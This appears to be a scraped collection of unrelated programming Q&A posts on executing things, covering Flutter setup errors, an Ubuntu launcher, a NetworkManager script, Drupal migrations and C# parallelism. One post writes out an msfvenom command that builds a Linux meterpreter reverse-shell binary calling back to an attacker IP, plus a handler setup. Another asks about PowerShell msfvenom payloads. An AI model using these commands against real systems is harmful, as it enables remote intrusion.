Flutter doctor cannot execute…. to determine the version

! Doctor found issues in 4 categories. Raymonds-MacBook-Air:~ raymondfontaine$ flutter doctor -v [✓] Flutter (Channel stable, v1.5.4-hotfix.2, on Mac OS X 10.14.5 18F132, locale en-US) • Flutter version 1.5.4-hotfix.2 at /Users/raymondfontaine/Developer/flutter • Framework revision 7a4c33425d (3 weeks ago), 2019-04-29 11:05:24 -0700 • Engine revision 52c7a1e849 • Dart version 2.3.0 (build 2.3.0-dev.0.5 a1668566e5)

[!] Android toolchain – develop for Android devices (Android SDK version 28.0.3) • Android SDK at /Users/raymondfontaine/Library/Android/sdk • Android NDK location not configured (optional; useful for native profiling support) • Platform android-28, build-tools 28.0.3 • Java binary at: /usr/lib/jvm/default-java/bin/java ✗ Cannot execute /usr/lib/jvm/default-java/bin/java to determine the version

[!] iOS toolchain – develop for iOS devices (Xcode 10.2.1) • Xcode at /Applications/Xcode.app/Contents/Developer • Xcode 10.2.1, Build version 10E1001 ✗ libimobiledevice and ideviceinstaller are not installed. To install with Brew, run: brew update brew install –HEAD usbmuxd brew link usbmuxd brew install –HEAD libimobiledevice brew install ideviceinstaller ✗ ios-deploy not installed. To install: brew install ios-deploy ✗ Brew can be used to install tools for iOS device development. Download brew at https://brew.sh/.

[!] Android Studio (not installed) • Android Studio not found; download from https://developer.android.com/studio/index.html (or visit https://flutter.dev/setup/#android-setup for detailed instructions).

[!] Connected device ! No devices available

Any help would be appreciated

Crate a launcher for Ubuntu to execute python server

I’ve created this launcher that executes an shell:

[Desktop Entry] Version=1.0 Type=Application Terminal=true Icon[en_US]=gnome-sudoku Name[en_US]=MServer.desktop Exec=/home/lucasfonseca/myapplication/server.sh Comment[en_US]=bla=foo Name=MServer Comment=foo Icon=gnome-sudoku 

On server.sh I have:

#!/bin/bash  python webserver/server.py 

When I click on the launcher it open and closes. I don’t get the server running. How can I have the server running in a terminal window when I open this launcher?

How to execute an equivalent function of Xcode’s Instruments > “File Activity” in shell?

I need to be able to show and capture the same output that Xcode.app/Contents/Applications/Instruments.app captures while in Terminal.app (in the shell). Is there a dtrace function / script, or some such equivalent, that can be run in order to capture this data directly?

Executable reverse shell payload won’t execute on linux machine

Payload:  msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.222  LPORT=443 -f elf > hack.elf  
Listener/Handler :exploit/multi/handler;set PAYLOAD linux/x86/shell/reverse_tcp;  

So after i generated the executable payload on the attacking machine, i copied it over to the victim machine with “wget”. When i run the executable on the victim machine, i get this error:

'/hack.elf: line 1: syntax error near unexpected token `vsFTPd' '/hack.elf: line 1: `220 (vsFTPd 2.3.4)  

With nothing appearing on my listener, what am i doing wrong?

How simulate execute script in /etc/NetworkManager/dispatcher.d?

I wrote script for change routing

#!/bin/bash # #  tag=$  (basename "$  0") if [ "$  2" = vpn-up ]; then      set -x     # Modify dns     dns1=$  (nmcli connection show NEWVPN | grep 'IP4.DNS\[1\]' | awk '{print $  2}')     dns2=$  (nmcli connection show NEWVPN | grep 'IP4.DNS\[2\]' | awk '{print $  2}')     sed -i "s/127.0.0.53/$  dns1 #NEWVPN\nnameserver 127.0.0.53/g" /etc/resolv.conf     sed -i "s/127.0.0.53/$  dns2 #NEWVPN\nnameserver 127.0.0.53/g" /etc/resolv.conf     sed -i "s/search/search new.com/" /etc/resolv.conf      # Add routes     iface="$  1"     src=$  (ip a s | grep "scope global noprefixroute $  iface" | awk '{print $  2}' | awk 'BEGIN {FS="/"}; {print $  1}')     for route in $  (cat /etc/routes) ; do         echo "$  route" >> /tmp/iface         echo "/bin/ip route add $  route dev $  iface src $  src" >> /tmp/iface         /bin/ip route add $  route dev $  iface src $  src     done     set -x   fi |& logger -i -t "$  tag"  if [ "$  2" = vpn-down ]; then     # echo "vpn-down" >> /tmp/iface     sed -i "s/.*NEWVPN.*//g" /etc/resolv.conf     sed -i "s/search new.com/search/" /etc/resolv.conf fi |& logger -i -t "$  tag" 

Earlier this script good worked in Debian. After I change OS by Ubuntu 19.04

Problem this script in empty parameters $ 0, $ 1, $ 2.

How simulate execute script in /etc/NetworkManager/dispatcher.d without Connect/Disconnect VPN session?

How to execute a migration?

I’m trying to use the Migrate API module to implement an ETL for some of the content of my Drupal 8 website, but the documentation doesn’t explain how to execute the migration once everything has been set up. It only explains how to execute the migration using some contributed modules but not how to execute it using the Drupal API.

How do I programmatically execute migrations from a module?

How does Microsoft Powershell execute a sequence of random characters?

When I create a payload with msfvenom using the psh-cmd format specifier it outputs a long string of random characters and if I copy and paste it on Powershell it runs fine and the payload executes. How does that work? How can powershell execute a sequence of characters?

Here is a good example, in this video: https://www.youtube.com/watch?v=bcZyBlVLDv0

best way to execute methods parallel. task or parallel.foreach [on hold]

I am currently working with a project that needs to use multithreading. So i have this project that will be run in another multithreaded project. I am trying to use TPL because base on my research its better to use thread pool. i am confuse if what i should use, my code is from foreach loop that each of the item needed to be run into different thread and execute parallel. The thread will call methods from different libraries. I am confused what is more efficient to do, create a task to make a thread or create a parallel.foreach to make the methods run in different threads. My project also includes getting back results in any order, creating and writing to a file, and catching exceptions inside the thread im trying to use aggregate exception. Do i also need to clean up resources even though its background thread. Please enlighten me. I need help from experts out there.

Public void Sample {     Task.Run(()=>Method)     Task.StartNewFactory     Parallel.foreach() }